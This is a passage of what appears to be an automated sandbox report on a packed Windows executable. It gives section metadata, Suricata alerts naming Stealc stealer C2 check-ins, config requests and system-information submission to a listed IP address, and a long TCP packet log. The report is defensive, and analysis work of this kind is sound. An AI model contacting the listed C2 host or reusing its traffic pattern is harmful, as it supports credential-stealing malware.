	0x1000	0x2e7000	0x67600	c03dc7b4b90809faf1f76886560f7779	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x29a000	0x200	1c760a4b7d63e63641843035d7fe58f0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hrutarix	0x584000	0x19a000	0x19a000	c79984cdd45e792257ab4773f947f5bc	False	0.994823623285061	data	7.953572062843209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
onztstug	0x71e000	0x1000	0x600	f991ae0c28c0f7b5b82445d6ec4eacdb	False	0.5735677083333334	data	4.987192306171601	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x71f000	0x3000	0x2200	b4f4d01152c2db28f98db0f493886513	False	0.006548713235294118	DOS executable (COM)	0.01934167681976598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T20:34:53.418756+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T20:34:53.834507+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T20:34:53.841833+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-29T20:34:54.132222+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T20:34:54.139761+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-29T20:34:55.238468+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T20:34:55.832715+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T20:35:20.028128+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:21.216922+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:23.242756+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:23.739226+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:24.858326+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:25.358455+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49863	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:34:44.716403961 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 20:34:44.716406107 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 20:34:44.841382980 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 20:34:52.182034969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:52.188021898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:52.188155890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:52.188421965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:52.193716049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:53.097290993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:53.097358942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:53.108709097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:53.114134073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:53.418567896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:53.418756008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:53.554436922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:53.559885025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:53.834343910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:53.834460974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:53.834506989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:53.834553003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:53.836306095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:53.841833115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.132082939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.132103920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.132117033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.132221937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:54.132240057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.132251978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.132262945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.132292986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:54.132318974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:54.134423018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:54.139760971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.325671911 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 20:34:54.325817108 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 20:34:54.414247036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.414339066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:54.436362982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:54.436438084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:54.441752911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.441926956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.441960096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.441989899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.442272902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.442323923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.442351103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:54.450831890 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 20:34:55.238318920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.238467932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.554560900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.560039997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.832608938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.832626104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.832636118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.832652092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.832715034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.832758904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.832817078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.832858086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.832997084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833008051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833065033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.833234072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833245039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833256006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833268881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833285093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.833306074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.833920956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833964109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.833971977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.834003925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985065937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985110998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985126972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985142946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985157013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985191107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985208988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985503912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985518932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985534906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985544920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985559940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985573053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985661030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985676050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985694885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985718012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985742092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985759974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985774040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985776901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.985812902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.985835075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.986624956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.986651897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.986665964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.986674070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.986682892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.986713886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.986731052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.987572908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.987591028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.987602949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.987615108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.987623930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.987632036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.987659931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:55.988447905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:55.988490105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137327909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137346983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137481928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137487888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137500048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137511015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137522936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137536049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137541056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137566090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137603045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137835026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137866020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137880087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137898922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137904882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137938023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.137968063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.137980938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138004065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138005972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.138032913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.138048887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138058901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.138098955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.138750076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138767958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138778925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138791084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138803959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.138804913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.138830900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.138863087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.139833927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.139880896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.139880896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.139894009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.139925003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.139935970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.139983892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.139997959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140017033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140028000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140037060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.140038013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140043020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.140049934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140060902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140073061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140085936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140117884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.140117884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.140141964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.140927076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140938997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140949965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.140971899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.140999079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.141011000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141022921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141035080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141047001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141047955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.141079903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.141108990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.141818047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141829014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141849041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141860008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141869068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.141871929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141884089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141887903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.141896009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.141928911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.141951084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.142684937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.142729044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.212301970 CET	443	49703	23.1.237.91	192.168.2.5
Oct 29, 2024 20:34:56.212475061 CET	49703	443	192.168.2.5	23.1.237.91
Oct 29, 2024 20:34:56.256552935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.256639957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290060997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290107965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290144920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290164948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290167093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290201902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290210009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290244102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290252924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290287971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290296078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290321112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290326118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290355921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290360928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290389061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290393114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290433884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290445089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290477991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290482998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290512085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290515900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290544033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290564060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290576935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290580988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290610075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290623903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290646076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290652990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290684938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290735006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290774107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290786982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290819883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290826082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290858984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290868998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290900946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290903091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290935040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.290939093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.290970087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291235924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291269064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291282892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291304111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291306019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291338921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291378021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291414976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291428089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291460991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291471958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291493893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291500092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291527987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291532040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291560888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291564941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291594982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291598082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291627884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291631937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291661978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.291663885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.291693926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292268038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292318106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292321920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292351961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292354107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292383909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292387009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292418003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292419910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292450905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292452097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292484999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292648077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292680979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292691946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292715073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292716980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292747974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292753935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292788982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292874098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292920113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292949915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.292998075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.292999029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.293032885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.293036938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.293066025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.293071985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.293100119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.293102980 CET	49704	80	192.168.2.5	185.215.113.206
